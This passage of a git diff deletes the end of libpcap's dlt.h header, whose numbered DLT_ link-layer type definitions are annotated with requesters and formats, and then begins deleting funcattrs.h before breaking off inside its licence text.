libpcap release will use these for any purpose, nor will any - * tcpdump release use them, either. - * - * Do *NOT* use these in capture files that you expect anybody not using - * your private versions of capture-file-reading tools to read; in - * particular, do *NOT* use them in products, otherwise you may find that - * people won't be able to use tcpdump, or snort, or Ethereal, or... to - * read capture files from your firewall/intrusion detection/traffic - * monitoring/etc. appliance, or whatever product uses that DLT_ value, - * and you may also find that the developers of those applications will - * not accept patches to let them read those files. - * - * Also, do not use them if somebody might send you a capture using them - * for *their* private type and tools using them for *your* private type - * would have to read them. - * - * Instead, ask "tcpdump-workers@lists.tcpdump.org" for a new DLT_ value, - * as per the comment above, and use the type you're given. - */ -#define DLT_USER0 147 -#define DLT_USER1 148 -#define DLT_USER2 149 -#define DLT_USER3 150 -#define DLT_USER4 151 -#define DLT_USER5 152 -#define DLT_USER6 153 -#define DLT_USER7 154 -#define DLT_USER8 155 -#define DLT_USER9 156 -#define DLT_USER10 157 -#define DLT_USER11 158 -#define DLT_USER12 159 -#define DLT_USER13 160 -#define DLT_USER14 161 -#define DLT_USER15 162 - -/* - * For future use with 802.11 captures - defined by AbsoluteValue - * Systems to store a number of bits of link-layer information - * including radio information: - * - * http://www.shaftnet.org/~pizza/software/capturefrm.txt - * - * but it might be used by some non-AVS drivers now or in the - * future. - */ -#define DLT_IEEE802_11_RADIO_AVS 163 /* 802.11 plus AVS radio header */ - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . The DLT_s are used - * for passing on chassis-internal metainformation such as - * QOS profiles, etc.. - */ -#define DLT_JUNIPER_MONITOR 164 - -/* - * BACnet MS/TP frames. - */ -#define DLT_BACNET_MS_TP 165 - -/* - * Another PPP variant as per request from Karsten Keil . - * - * This is used in some OSes to allow a kernel socket filter to distinguish - * between incoming and outgoing packets, on a socket intended to - * supply pppd with outgoing packets so it can do dial-on-demand and - * hangup-on-lack-of-demand; incoming packets are filtered out so they - * don't cause pppd to hold the connection up (you don't want random - * input packets such as port scans, packets from old lost connections, - * etc. to force the connection to stay up). - * - * The first byte of the PPP header (0xff03) is modified to accommodate - * the direction - 0x00 = IN, 0x01 = OUT. - */ -#define DLT_PPP_PPPD 166 - -/* - * Names for backwards compatibility with older versions of some PPP - * software; new software should use DLT_PPP_PPPD. - */ -#define DLT_PPP_WITH_DIRECTION DLT_PPP_PPPD -#define DLT_LINUX_PPP_WITHDIRECTION DLT_PPP_PPPD - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . The DLT_s are used - * for passing on chassis-internal metainformation such as - * QOS profiles, cookies, etc.. - */ -#define DLT_JUNIPER_PPPOE 167 -#define DLT_JUNIPER_PPPOE_ATM 168 - -#define DLT_GPRS_LLC 169 /* GPRS LLC */ -#define DLT_GPF_T 170 /* GPF-T (ITU-T G.7041/Y.1303) */ -#define DLT_GPF_F 171 /* GPF-F (ITU-T G.7041/Y.1303) */ - -/* - * Requested by Oolan Zimmer for use in Gcom's T1/E1 line - * monitoring equipment. - */ -#define DLT_GCOM_T1E1 172 -#define DLT_GCOM_SERIAL 173 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . The DLT_ is used - * for internal communication to Physical Interface Cards (PIC) - */ -#define DLT_JUNIPER_PIC_PEER 174 - -/* - * Link types requested by Gregor Maier of Endace - * Measurement Systems. They add an ERF header (see - * https://www.endace.com/support/EndaceRecordFormat.pdf) in front of - * the link-layer header. - */ -#define DLT_ERF_ETH 175 /* Ethernet */ -#define DLT_ERF_POS 176 /* Packet-over-SONET */ - -/* - * Requested by Daniele Orlandi for raw LAPD - * for vISDN (http://www.orlandi.com/visdn/). Its link-layer header - * includes additional information before the LAPD header, so it's - * not necessarily a generic LAPD header. - */ -#define DLT_LINUX_LAPD 177 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . - * The DLT_ are used for prepending meta-information - * like interface index, interface name - * before standard Ethernet, PPP, Frelay & C-HDLC Frames - */ -#define DLT_JUNIPER_ETHER 178 -#define DLT_JUNIPER_PPP 179 -#define DLT_JUNIPER_FRELAY 180 -#define DLT_JUNIPER_CHDLC 181 - -/* - * Multi Link Frame Relay (FRF.16) - */ -#define DLT_MFR 182 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . - * The DLT_ is used for internal communication with a - * voice Adapter Card (PIC) - */ -#define DLT_JUNIPER_VP 183 - -/* - * Arinc 429 frames. - * DLT_ requested by Gianluca Varenni . - * Every frame contains a 32bit A429 label. - * More documentation on Arinc 429 can be found at - * https://web.archive.org/web/20040616233302/https://www.condoreng.com/support/downloads/tutorials/ARINCTutorial.pdf - */ -#define DLT_A429 184 - -/* - * Arinc 653 Interpartition Communication messages. - * DLT_ requested by Gianluca Varenni . - * Please refer to the A653-1 standard for more information. - */ -#define DLT_A653_ICM 185 - -/* - * This used to be "USB packets, beginning with a USB setup header; - * requested by Paolo Abeni ." - * - * However, that header didn't work all that well - it left out some - * useful information - and was abandoned in favor of the DLT_USB_LINUX - * header. - * - * This is now used by FreeBSD for its BPF taps for USB; that has its - * own headers. So it is written, so it is done. - * - * For source-code compatibility, we also define DLT_USB to have this - * value. We do it numerically so that, if code that includes this - * file (directly or indirectly) also includes an OS header that also - * defines DLT_USB as 186, we don't get a redefinition warning. - * (NetBSD 7 does that.) - */ -#define DLT_USB_FREEBSD 186 -#define DLT_USB 186 - -/* - * Bluetooth HCI UART transport layer (part H:4); requested by - * Paolo Abeni. - */ -#define DLT_BLUETOOTH_HCI_H4 187 - -/* - * IEEE 802.16 MAC Common Part Sublayer; requested by Maria Cruz - * . - */ -#define DLT_IEEE802_16_MAC_CPS 188 - -/* - * USB packets, beginning with a Linux USB header; requested by - * Paolo Abeni . - */ -#define DLT_USB_LINUX 189 - -/* - * Controller Area Network (CAN) v. 2.0B packets. - * DLT_ requested by Gianluca Varenni . - * Used to dump CAN packets coming from a CAN Vector board. - * More documentation on the CAN v2.0B frames can be found at - * http://www.can-cia.org/downloads/?269 - */ -#define DLT_CAN20B 190 - -/* - * IEEE 802.15.4, with address fields padded, as is done by Linux - * drivers; requested by Juergen Schimmer. - */ -#define DLT_IEEE802_15_4_LINUX 191 - -/* - * Per Packet Information encapsulated packets. - * DLT_ requested by Gianluca Varenni . - */ -#define DLT_PPI 192 - -/* - * Header for 802.16 MAC Common Part Sublayer plus a radiotap radio header; - * requested by Charles Clancy. - */ -#define DLT_IEEE802_16_MAC_CPS_RADIO 193 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . - * The DLT_ is used for internal communication with a - * integrated service module (ISM). - */ -#define DLT_JUNIPER_ISM 194 - -/* - * IEEE 802.15.4, exactly as it appears in the spec (no padding, no - * nothing); requested by Mikko Saarnivala . - * For this one, we expect the FCS to be present at the end of the frame; - * if the frame has no FCS, DLT_IEEE802_15_4_NOFCS should be used. - * - * We keep the name DLT_IEEE802_15_4 as an alias for backwards - * compatibility, but, again, this should *only* be used for 802.15.4 - * frames that include the FCS. - */ -#define DLT_IEEE802_15_4_WITHFCS 195 -#define DLT_IEEE802_15_4 DLT_IEEE802_15_4_WITHFCS - -/* - * Various link-layer types, with a pseudo-header, for SITA - * (https://www.sita.aero/); requested by Fulko Hew (fulko.hew@gmail.com). - */ -#define DLT_SITA 196 - -/* - * Various link-layer types, with a pseudo-header, for Endace DAG cards; - * encapsulates Endace ERF records. Requested by Stephen Donnelly - * . - */ -#define DLT_ERF 197 - -/* - * Special header prepended to Ethernet packets when capturing from a - * u10 Networks board. Requested by Phil Mulholland - * . - */ -#define DLT_RAIF1 198 - -/* - * IPMB packet for IPMI, beginning with a 2-byte header, followed by - * the I2C slave address, followed by the netFn and LUN, etc.. - * Requested by Chanthy Toeung . - * - * XXX - this used to be called DLT_IPMB, back when we got the - * impression from the email thread requesting it that the packet - * had no extra 2-byte header. We've renamed it; if anybody used - * DLT_IPMB and assumed no 2-byte header, this will cause the compile - * to fail, at which point we'll have to figure out what to do about - * the two header types using the same DLT_/LINKTYPE_ value. If that - * doesn't happen, we'll assume nobody used it and that the redefinition - * is safe. - */ -#define DLT_IPMB_KONTRON 199 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . - * The DLT_ is used for capturing data on a secure tunnel interface. - */ -#define DLT_JUNIPER_ST 200 - -/* - * Bluetooth HCI UART transport layer (part H:4), with pseudo-header - * that includes direction information; requested by Paolo Abeni. - */ -#define DLT_BLUETOOTH_HCI_H4_WITH_PHDR 201 - -/* - * AX.25 packet with a 1-byte KISS header; see - * - * http://www.ax25.net/kiss.htm - * - * as per Richard Stearn . - */ -#define DLT_AX25_KISS 202 - -/* - * LAPD packets from an ISDN channel, starting with the address field, - * with no pseudo-header. - * Requested by Varuna De Silva . - */ -#define DLT_LAPD 203 - -/* - * PPP, with a one-byte direction pseudo-header prepended - zero means - * "received by this host", non-zero (any non-zero value) means "sent by - * this host" - as per Will Barker . - * - * Don't confuse this with DLT_PPP_WITH_DIRECTION, which is an old - * name for what is now called DLT_PPP_PPPD. - */ -#define DLT_PPP_WITH_DIR 204 - -/* - * Cisco HDLC, with a one-byte direction pseudo-header prepended - zero - * means "received by this host", non-zero (any non-zero value) means - * "sent by this host" - as per Will Barker . - */ -#define DLT_C_HDLC_WITH_DIR 205 - -/* - * Frame Relay, with a one-byte direction pseudo-header prepended - zero - * means "received by this host" (DCE -> DTE), non-zero (any non-zero - * value) means "sent by this host" (DTE -> DCE) - as per Will Barker - * . - */ -#define DLT_FRELAY_WITH_DIR 206 - -/* - * LAPB, with a one-byte direction pseudo-header prepended - zero means - * "received by this host" (DCE -> DTE), non-zero (any non-zero value) - * means "sent by this host" (DTE -> DCE)- as per Will Barker - * . - */ -#define DLT_LAPB_WITH_DIR 207 - -/* - * 208 is reserved for an as-yet-unspecified proprietary link-layer - * type, as requested by Will Barker. - */ - -/* - * I2C with a Linux-specific pseudo-header; as requested by Alexey Neyman - * . - */ -#define DLT_I2C_LINUX 209 - -/* - * This was renamed as it's also used for other protocols, such as - * Display Data Channel as used by HDMI. - * - * We still define DLT_IPMB_LINUX for backwards source compatibility. - */ -#define DLT_IPMB_LINUX 209 - -/* - * FlexRay automotive bus - http://www.flexray.com/ - as requested - * by Hannes Kaelber . - */ -#define DLT_FLEXRAY 210 - -/* - * Media Oriented Systems Transport (MOST) bus for multimedia - * transport - https://www.mostcooperation.com/ - as requested - * by Hannes Kaelber . - */ -#define DLT_MOST 211 - -/* - * Local Interconnect Network (LIN) bus for vehicle networks - - * http://www.lin-subbus.org/ - as requested by Hannes Kaelber - * . - */ -#define DLT_LIN 212 - -/* - * X2E-private data link type used for serial line capture, - * as requested by Hannes Kaelber . - */ -#define DLT_X2E_SERIAL 213 - -/* - * X2E-private data link type used for the Xoraya data logger - * family, as requested by Hannes Kaelber . - */ -#define DLT_X2E_XORAYA 214 - -/* - * IEEE 802.15.4, exactly as it appears in the spec (no padding, no - * nothing), but with the PHY-level data for non-ASK PHYs (4 octets - * of 0 as preamble, one octet of SFD, one octet of frame length+ - * reserved bit, and then the MAC-layer data, starting with the - * frame control field). - * - * Requested by Max Filippov . - */ -#define DLT_IEEE802_15_4_NONASK_PHY 215 - -/* - * David Gibson requested this for - * captures from the Linux kernel /dev/input/eventN devices. This - * is used to communicate keystrokes and mouse movements from the - * Linux kernel to display systems, such as Xorg. - */ -#define DLT_LINUX_EVDEV 216 - -/* - * GSM Um and Abis interfaces, preceded by a "gsmtap" header. - * - * Requested by Harald Welte . - */ -#define DLT_GSMTAP_UM 217 -#define DLT_GSMTAP_ABIS 218 - -/* - * MPLS, with an MPLS label as the link-layer header. - * Requested by Michele Marchetto on behalf - * of OpenBSD. - */ -#define DLT_MPLS 219 - -/* - * USB packets, beginning with a Linux USB header, with the USB header - * padded to 64 bytes; required for memory-mapped access. - */ -#define DLT_USB_LINUX_MMAPPED 220 - -/* - * DECT packets, with a pseudo-header; requested by - * Matthias Wenzel . - */ -#define DLT_DECT 221 - -/* - * From: "Lidwa, Eric (GSFC-582.0)[SGT INC]" - * Date: Mon, 11 May 2009 11:18:30 -0500 - * - * DLT_AOS. We need it for AOS Space Data Link Protocol. - * I have already written dissectors for but need an OK from - * legal before I can submit a patch. - * - */ -#define DLT_AOS 222 - -/* - * WirelessHART (Highway Addressable Remote Transducer) - * From the HART Communication Foundation - * IEC/PAS 62591 - * - * Requested by Sam Roberts . - */ -#define DLT_WIHART 223 - -/* - * Fibre Channel FC-2 frames, beginning with a Frame_Header. - * Requested by Kahou Lei . - */ -#define DLT_FC_2 224 - -/* - * Fibre Channel FC-2 frames, beginning with an encoding of the - * SOF, and ending with an encoding of the EOF. - * - * The encodings represent the frame delimiters as 4-byte sequences - * representing the corresponding ordered sets, with K28.5 - * represented as 0xBC, and the D symbols as the corresponding - * byte values; for example, SOFi2, which is K28.5 - D21.5 - D1.2 - D21.2, - * is represented as 0xBC 0xB5 0x55 0x55. - * - * Requested by Kahou Lei . - */ -#define DLT_FC_2_WITH_FRAME_DELIMS 225 - -/* - * Solaris ipnet pseudo-header; requested by Darren Reed . - * - * The pseudo-header starts with a one-byte version number; for version 2, - * the pseudo-header is: - * - * struct dl_ipnetinfo { - * uint8_t dli_version; - * uint8_t dli_family; - * uint16_t dli_htype; - * uint32_t dli_pktlen; - * uint32_t dli_ifindex; - * uint32_t dli_grifindex; - * uint32_t dli_zsrc; - * uint32_t dli_zdst; - * }; - * - * dli_version is 2 for the current version of the pseudo-header. - * - * dli_family is a Solaris address family value, so it's 2 for IPv4 - * and 26 for IPv6. - * - * dli_htype is a "hook type" - 0 for incoming packets, 1 for outgoing - * packets, and 2 for packets arriving from another zone on the same - * machine. - * - * dli_pktlen is the length of the packet data following the pseudo-header - * (so the captured length minus dli_pktlen is the length of the - * pseudo-header, assuming the entire pseudo-header was captured). - * - * dli_ifindex is the interface index of the interface on which the - * packet arrived. - * - * dli_grifindex is the group interface index number (for IPMP interfaces). - * - * dli_zsrc is the zone identifier for the source of the packet. - * - * dli_zdst is the zone identifier for the destination of the packet. - * - * A zone number of 0 is the global zone; a zone number of 0xffffffff - * means that the packet arrived from another host on the network, not - * from another zone on the same machine. - * - * An IPv4 or IPv6 datagram follows the pseudo-header; dli_family indicates - * which of those it is. - */ -#define DLT_IPNET 226 - -/* - * CAN (Controller Area Network) frames, with a pseudo-header as supplied - * by Linux SocketCAN, and with multi-byte numerical fields in that header - * in big-endian byte order. - * - * See Documentation/networking/can.txt in the Linux source. - * - * Requested by Felix Obenhuber . - */ -#define DLT_CAN_SOCKETCAN 227 - -/* - * Raw IPv4/IPv6; different from DLT_RAW in that the DLT_ value specifies - * whether it's v4 or v6. Requested by Darren Reed . - */ -#define DLT_IPV4 228 -#define DLT_IPV6 229 - -/* - * IEEE 802.15.4, exactly as it appears in the spec (no padding, no - * nothing), and with no FCS at the end of the frame; requested by - * Jon Smirl . - */ -#define DLT_IEEE802_15_4_NOFCS 230 - -/* - * Raw D-Bus: - * - * https://www.freedesktop.org/wiki/Software/dbus - * - * messages: - * - * https://dbus.freedesktop.org/doc/dbus-specification.html#message-protocol-messages - * - * starting with the endianness flag, followed by the message type, etc., - * but without the authentication handshake before the message sequence: - * - * https://dbus.freedesktop.org/doc/dbus-specification.html#auth-protocol - * - * Requested by Martin Vidner . - */ -#define DLT_DBUS 231 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . - */ -#define DLT_JUNIPER_VS 232 -#define DLT_JUNIPER_SRX_E2E 233 -#define DLT_JUNIPER_FIBRECHANNEL 234 - -/* - * DVB-CI (DVB Common Interface for communication between a PC Card - * module and a DVB receiver). See - * - * https://www.kaiser.cx/pcap-dvbci.html - * - * for the specification. - * - * Requested by Martin Kaiser . - */ -#define DLT_DVB_CI 235 - -/* - * Variant of 3GPP TS 27.010 multiplexing protocol (similar to, but - * *not* the same as, 27.010). Requested by Hans-Christoph Schemmel - * . - */ -#define DLT_MUX27010 236 - -/* - * STANAG 5066 D_PDUs. Requested by M. Baris Demiray - * . - */ -#define DLT_STANAG_5066_D_PDU 237 - -/* - * Juniper-private data link type, as per request from - * Hannes Gredler . - */ -#define DLT_JUNIPER_ATM_CEMIC 238 - -/* - * NetFilter LOG messages - * (payload of netlink NFNL_SUBSYS_ULOG/NFULNL_MSG_PACKET packets) - * - * Requested by Jakub Zawadzki - */ -#define DLT_NFLOG 239 - -/* - * Hilscher Gesellschaft fuer Systemautomation mbH link-layer type - * for Ethernet packets with a 4-byte pseudo-header and always - * with the payload including the FCS, as supplied by their - * netANALYZER hardware and software. - * - * Requested by Holger P. Frommer - */ -#define DLT_NETANALYZER 240 - -/* - * Hilscher Gesellschaft fuer Systemautomation mbH link-layer type - * for Ethernet packets with a 4-byte pseudo-header and FCS and - * with the Ethernet header preceded by 7 bytes of preamble and - * 1 byte of SFD, as supplied by their netANALYZER hardware and - * software. - * - * Requested by Holger P. Frommer - */ -#define DLT_NETANALYZER_TRANSPARENT 241 - -/* - * IP-over-InfiniBand, as specified by RFC 4391. - * - * Requested by Petr Sumbera . - */ -#define DLT_IPOIB 242 - -/* - * MPEG-2 transport stream (ISO 13818-1/ITU-T H.222.0). - * - * Requested by Guy Martin . - */ -#define DLT_MPEG_2_TS 243 - -/* - * ng4T GmbH's UMTS Iub/Iur-over-ATM and Iub/Iur-over-IP format as - * used by their ng40 protocol tester. - * - * Requested by Jens Grimmer . - */ -#define DLT_NG40 244 - -/* - * Pseudo-header giving adapter number and flags, followed by an NFC - * (Near-Field Communications) Logical Link Control Protocol (LLCP) PDU, - * as specified by NFC Forum Logical Link Control Protocol Technical - * Specification LLCP 1.1. - * - * Requested by Mike Wakerly . - */ -#define DLT_NFC_LLCP 245 - -/* - * 246 is used as LINKTYPE_PFSYNC; do not use it for any other purpose. - * - * DLT_PFSYNC has different values on different platforms, and all of - * them collide with something used elsewhere. On platforms that - * don't already define it, define it as 246. - */ -#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && !defined(__DragonFly__) && !defined(__APPLE__) -#define DLT_PFSYNC 246 -#endif - -/* - * Raw InfiniBand packets, starting with the Local Routing Header. - * - * Requested by Oren Kladnitsky . - */ -#define DLT_INFINIBAND 247 - -/* - * SCTP, with no lower-level protocols (i.e., no IPv4 or IPv6). - * - * Requested by Michael Tuexen . - */ -#define DLT_SCTP 248 - -/* - * USB packets, beginning with a USBPcap header. - * - * Requested by Tomasz Mon - */ -#define DLT_USBPCAP 249 - -/* - * Schweitzer Engineering Laboratories "RTAC" product serial-line - * packets. - * - * Requested by Chris Bontje . - */ -#define DLT_RTAC_SERIAL 250 - -/* - * Bluetooth Low Energy air interface link-layer packets. - * - * Requested by Mike Kershaw . - */ -#define DLT_BLUETOOTH_LE_LL 251 - -/* - * DLT type for upper-protocol layer PDU saves from Wireshark. - * - * the actual contents are determined by two TAGs, one or more of - * which is stored with each packet: - * - * EXP_PDU_TAG_DISSECTOR_NAME the name of the Wireshark dissector - * that can make sense of the data stored. - * - * EXP_PDU_TAG_HEUR_DISSECTOR_NAME the name of the Wireshark heuristic - * dissector that can make sense of the - * data stored. - */ -#define DLT_WIRESHARK_UPPER_PDU 252 - -/* - * DLT type for the netlink protocol (nlmon devices). - */ -#define DLT_NETLINK 253 - -/* - * Bluetooth Linux Monitor headers for the BlueZ stack. - */ -#define DLT_BLUETOOTH_LINUX_MONITOR 254 - -/* - * Bluetooth Basic Rate/Enhanced Data Rate baseband packets, as - * captured by Ubertooth. - */ -#define DLT_BLUETOOTH_BREDR_BB 255 - -/* - * Bluetooth Low Energy link layer packets, as captured by Ubertooth. - */ -#define DLT_BLUETOOTH_LE_LL_WITH_PHDR 256 - -/* - * PROFIBUS data link layer. - */ -#define DLT_PROFIBUS_DL 257 - -/* - * Apple's DLT_PKTAP headers. - * - * Sadly, the folks at Apple either had no clue that the DLT_USERn values - * are for internal use within an organization and partners only, and - * didn't know that the right way to get a link-layer header type is to - * ask tcpdump.org for one, or knew and didn't care, so they just - * used DLT_USER2, which causes problems for everything except for - * their version of tcpdump. - * - * So I'll just give them one; hopefully this will show up in a - * libpcap release in time for them to get this into 10.10 Big Sur - * or whatever Mavericks' successor is called. LINKTYPE_PKTAP - * will be 258 *even on macOS*; that is *intentional*, so that - * PKTAP files look the same on *all* OSes (different OSes can have - * different numerical values for a given DLT_, but *MUST NOT* have - * different values for what goes in a file, as files can be moved - * between OSes!). - * - * When capturing, on a system with a Darwin-based OS, on a device - * that returns 149 (DLT_USER2 and Apple's DLT_PKTAP) with this - * version of libpcap, the DLT_ value for the pcap_t will be DLT_PKTAP, - * and that will continue to be DLT_USER2 on Darwin-based OSes. That way, - * binary compatibility with Mavericks is preserved for programs using - * this version of libpcap. This does mean that if you were using - * DLT_USER2 for some capture device on macOS, you can't do so with - * this version of libpcap, just as you can't with Apple's libpcap - - * on macOS, they define DLT_PKTAP to be DLT_USER2, so programs won't - * be able to distinguish between PKTAP and whatever you were using - * DLT_USER2 for. - * - * If the program saves the capture to a file using this version of - * libpcap's pcap_dump code, the LINKTYPE_ value in the file will be - * LINKTYPE_PKTAP, which will be 258, even on Darwin-based OSes. - * That way, the file will *not* be a DLT_USER2 file. That means - * that the latest version of tcpdump, when built with this version - * of libpcap, and sufficiently recent versions of Wireshark will - * be able to read those files and interpret them correctly; however, - * Apple's version of tcpdump in OS X 10.9 won't be able to handle - * them. (Hopefully, Apple will pick up this version of libpcap, - * and the corresponding version of tcpdump, so that tcpdump will - * be able to handle the old LINKTYPE_USER2 captures *and* the new - * LINKTYPE_PKTAP captures.) - */ -#ifdef __APPLE__ -#define DLT_PKTAP DLT_USER2 -#else -#define DLT_PKTAP 258 -#endif - -/* - * Ethernet packets preceded by a header giving the last 6 octets - * of the preamble specified by 802.3-2012 Clause 65, section - * 65.1.3.2 "Transmit". - */ -#define DLT_EPON 259 - -/* - * IPMI trace packets, as specified by Table 3-20 "Trace Data Block Format" - * in the PICMG HPM.2 specification. - */ -#define DLT_IPMI_HPM_2 260 - -/* - * per Joshua Wright , formats for Zwave captures. - */ -#define DLT_ZWAVE_R1_R2 261 -#define DLT_ZWAVE_R3 262 - -/* - * per Steve Karg , formats for Wattstopper - * Digital Lighting Management room bus serial protocol captures. - */ -#define DLT_WATTSTOPPER_DLM 263 - -/* - * ISO 14443 contactless smart card messages. - */ -#define DLT_ISO_14443 264 - -/* - * Radio data system (RDS) groups. IEC 62106. - * Per Jonathan Brucker . - */ -#define DLT_RDS 265 - -/* - * USB packets, beginning with a Darwin (macOS, etc.) header. - */ -#define DLT_USB_DARWIN 266 - -/* - * OpenBSD DLT_OPENFLOW. - */ -#define DLT_OPENFLOW 267 - -/* - * SDLC frames containing SNA PDUs. - */ -#define DLT_SDLC 268 - -/* - * per "Selvig, Bjorn" used for - * TI protocol sniffer. - */ -#define DLT_TI_LLN_SNIFFER 269 - -/* - * per: Erik de Jong for - * https://github.com/eriknl/LoRaTap/releases/tag/v0.1 - */ -#define DLT_LORATAP 270 - -/* - * per: Stefanha at gmail.com for - * https://lists.sandelman.ca/pipermail/tcpdump-workers/2017-May/000772.html - * and: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/vsockmon.h - * for: https://qemu-project.org/Features/VirtioVsock - */ -#define DLT_VSOCK 271 - -/* - * Nordic Semiconductor Bluetooth LE sniffer. - */ -#define DLT_NORDIC_BLE 272 - -/* - * Excentis DOCSIS 3.1 RF sniffer (XRA-31) - * per: bruno.verstuyft at excentis.com - * https://www.xra31.com/xra-header - */ -#define DLT_DOCSIS31_XRA31 273 - -/* - * mPackets, as specified by IEEE 802.3br Figure 99-4, starting - * with the preamble and always ending with a CRC field. - */ -#define DLT_ETHERNET_MPACKET 274 - -/* - * DisplayPort AUX channel monitoring data as specified by VESA - * DisplayPort(DP) Standard preceded by a pseudo-header. - * per dirk.eibach at gdsys.cc - */ -#define DLT_DISPLAYPORT_AUX 275 - -/* - * Linux cooked sockets v2. - */ -#define DLT_LINUX_SLL2 276 - -/* - * Sercos Monitor, per Manuel Jacob - */ -#define DLT_SERCOS_MONITOR 277 - -/* - * OpenVizsla http://openvizsla.org is open source USB analyzer hardware. - * It consists of FPGA with attached USB phy and FTDI chip for streaming - * the data to the host PC. - * - * Current OpenVizsla data encapsulation format is described here: - * https://github.com/matwey/libopenvizsla/wiki/OpenVizsla-protocol-description - * - */ -#define DLT_OPENVIZSLA 278 - -/* - * The Elektrobit High Speed Capture and Replay (EBHSCR) protocol is produced - * by a PCIe Card for interfacing high speed automotive interfaces. - * - * The specification for this frame format can be found at: - * https://www.elektrobit.com/ebhscr - * - * for Guenter.Ebermann at elektrobit.com - * - */ -#define DLT_EBHSCR 279 - -/* - * The https://fd.io vpp graph dispatch tracer produces pcap trace files - * in the format documented here: - * https://fdio-vpp.readthedocs.io/en/latest/gettingstarted/developers/vnet.html#graph-dispatcher-pcap-tracing - */ -#define DLT_VPP_DISPATCH 280 - -/* - * Broadcom Ethernet switches (ROBO switch) 4 bytes proprietary tagging format. - */ -#define DLT_DSA_TAG_BRCM 281 -#define DLT_DSA_TAG_BRCM_PREPEND 282 - -/* - * IEEE 802.15.4 with pseudo-header and optional meta-data TLVs, PHY payload - * exactly as it appears in the spec (no padding, no nothing), and FCS if - * specified by FCS Type TLV; requested by James Ko . - * Specification at https://github.com/jkcko/ieee802.15.4-tap - */ -#define DLT_IEEE802_15_4_TAP 283 - -/* - * Marvell (Ethertype) Distributed Switch Architecture proprietary tagging format. - */ -#define DLT_DSA_TAG_DSA 284 -#define DLT_DSA_TAG_EDSA 285 - -/* - * Payload of lawful intercept packets using the ELEE protocol; - * https://socket.hr/draft-dfranusic-opsawg-elee-00.xml - * https://xml2rfc.tools.ietf.org/cgi-bin/xml2rfc.cgi?url=https://socket.hr/draft-dfranusic-opsawg-elee-00.xml&modeAsFormat=html/ascii - */ -#define DLT_ELEE 286 - -/* - * Serial frames transmitted between a host and a Z-Wave chip. - */ -#define DLT_Z_WAVE_SERIAL 287 - -/* - * USB 2.0, 1.1, and 1.0 packets as transmitted over the cable. - * Deprecated in favor of speed specific DLTs: DLT_USB_2_0_LOW_SPEED, - * DLT_USB_2_0_FULL_SPEED and DLT_USB_2_0_HIGH_SPEED. - */ -#define DLT_USB_2_0 288 - -/* - * ATSC Link-Layer Protocol (A/330) packets. - */ -#define DLT_ATSC_ALP 289 - -/* - * Event Tracing for Windows messages. - */ -#define DLT_ETW 290 - -/* - * Hilscher Gesellschaft fuer Systemautomation mbH - * netANALYZER NG hardware and software. - * - * The specification for this footer can be found at: - * https://kb.hilscher.com/x/brDJBw - * - * Requested by Jan Adam - */ -#define DLT_NETANALYZER_NG 291 - -/* - * Serial NCP (Network Co-Processor) protocol for Zigbee stack ZBOSS - * by DSR. - * ZBOSS NCP protocol description: https://cloud.dsr-corporation.com/index.php/s/3isHzaNTTgtJebn - * Header in pcap file: https://cloud.dsr-corporation.com/index.php/s/fiqSDorAAAZrsYB - * - * Requested by Eugene Exarevsky - */ -#define DLT_ZBOSS_NCP 292 - -/* - * USB 2.0, 1.1, and 1.0 packets as transmitted over the cable. - */ -#define DLT_USB_2_0_LOW_SPEED 293 -#define DLT_USB_2_0_FULL_SPEED 294 -#define DLT_USB_2_0_HIGH_SPEED 295 - -/* - * Auerswald Logger Protocol - * description is provided on - * https://github.com/Auerswald-GmbH/auerlog/blob/master/auerlog.txt - */ -#define DLT_AUERSWALD_LOG 296 - -/* - * Z-Wave packets with a TAP meta-data header - * https://gitlab.com/exegin/zwave-g9959-tap - * requested on tcpdump-workers@ - */ -#define DLT_ZWAVE_TAP 297 - -/* - * Silicon Labs debug channel protocol: - */ -#define DLT_SILABS_DEBUG_CHANNEL 298 - -/* - * Ultra-wideband (UWB) controller interface protocol (UCI). - * requested by Henri Chataing - */ -#define DLT_FIRA_UCI 299 - -/* - * MDB (Multi-Drop Bus) protocol between a vending machine controller and - * peripherals inside the vending machine. See - * - * https://www.kaiser.cx/pcap-mdb.html - * - * for the specification. - * - * Requested by Martin Kaiser . - */ -#define DLT_MDB 300 - -/* - * DECT-2020 New Radio (NR) - ETSI TS 103 636. - * Requested by Stig Bjorlykke . - */ -#define DLT_DECT_NR 301 - -/* - * In case the code that includes this file (directly or indirectly) - * has also included OS files that happen to define DLT_HIGH_MATCHING_MAX, - * with a different value (perhaps because that OS hasn't picked up - * the latest version of our DLT definitions), we undefine the - * previous value of DLT_HIGH_MATCHING_MAX. - */ -#ifdef DLT_HIGH_MATCHING_MAX -#undef DLT_HIGH_MATCHING_MAX -#endif - -#define DLT_HIGH_MATCHING_MAX 301 /* highest value in the "matching" range */ - -#endif /* !defined(lib_pcap_dlt_h) */ diff --git a/android/app/src/main/cpp/include/funcattrs.h b/android/app/src/main/cpp/include/funcattrs.h deleted file mode 100644 index 4ff8f0a..0000000 --- a/android/app/src/main/cpp/include/funcattrs.h +++ /dev/null @@ -1,391 +0,0 @@ -/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ -/* - * Copyright (c) 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. All advertising materials mentioning features or use of this software - * must display the following acknowledgement: - * This product includes software developed by the Computer Systems - * Engineering Group at Lawrence Berkeley Laboratory. - * 4. Neither the name of the University nor of the Laboratory may be used - * to endorse or promote products derived from this software without - * specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 